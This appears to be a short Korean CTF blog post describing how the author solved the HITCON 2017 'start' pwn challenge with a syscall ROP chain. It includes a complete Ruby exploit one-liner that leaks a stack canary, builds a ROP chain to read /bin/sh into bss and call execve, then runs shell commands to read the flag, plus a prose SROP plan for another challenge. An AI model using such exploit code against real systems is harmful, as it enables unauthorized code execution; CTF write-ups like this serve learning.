syscall 을 사용하여 rop 해볼 기회가 생겨서 한번 써봅니당.
문제는 이번 HITCON 2017 start 문제입니다.
이 문제같은경우에는 ruby 로 익스를 짜야했고,
덤으로 read 로 bss 에 /bin/sh 를 쓰는것은 간단했지만 execve 같은게 없어서 쉘을 띄우는데에는 고생했던 문제입니다.
저같은경우에는 syscall 을 이용하여 read 로 먼저 /bin/sh 를 쓰고 execve 를 콜해 풀었습니다.
z = Sock.new '127.0.0.1', 31338 ; context.log_level = :debug ; z.send ''.rjust(25,'a'); z.recvuntil ''.rjust(24,'a');cana = u64(z.recv 8)-0x61; puts "0x%x" % cana; z.recv 4; pay = ''.rjust(24,'a') + p64(cana) + ''.rjust(8,'a') + p64(0x00000000004005d5) + p64(0) +p64(0x00000000004017f7) + p64(0x6cdb68) + p64(0x0000000000443776) + p64(8) + p64(0x0000000000440300);pay += p64(0x4005d5) + p64(0x6cdb68) + p64(0x4017f7) + p64(0x6cdb68+7) + p64(0x0047a6e6) + p64(0x3b) + p64(0x6cdb68+7) + p64(0) + p64(0x0046cab5); z.send pay; z.send "exit\n"; z.send "/bin/sh\x00"; z.send "ls\n"; z.recv 2048;puts z.recv 2048;z.send "cat ./home/start/flag\n"; puts z.recv 2048;z.recv 2048;z.recv 2048
페이....로드.........
덤으로 지금 ubuntu ctf 에 small 삽질중에 있는데
이것도 syscall 을 통해 익스를 해야하는것 같은데 배로 어렵슴니다 ㅠㅠ..
이건 eax 조절이 안되는 상태로 bss 에 /bin/sh 를 쓰고나서 해야하는데
함수도 read 밖에 없고 이것도 심지어 asm 으로 구현한 read 라서 더 고생했습니다.
이거같은 경우는
이런 페이로드로 공격하려 함니다.
먼저 ebp를 bss 로 옮기고 ret 를 main 시작부분으로 돌려서 한번쓰고 다시 overflow 시켜서
ebp 를 read 시작으로 옮기고 인자세팅을 하고 srop 를 돌리는 건데
과연 가능할까....
'Analysis' 카테고리의 다른 글
Arm 아키텍쳐 (0) | 2018.01.06 |
---|---|
HTTP 프로토콜 구조 (0) | 2017.12.11 |
Pwntools 기본적인 사용법 - 3 (1) | 2017.10.20 |
Full Relro 우회법 (0) | 2017.10.15 |
Pwntools 기본적인 사용법 - 2 (0) | 2017.10.11 |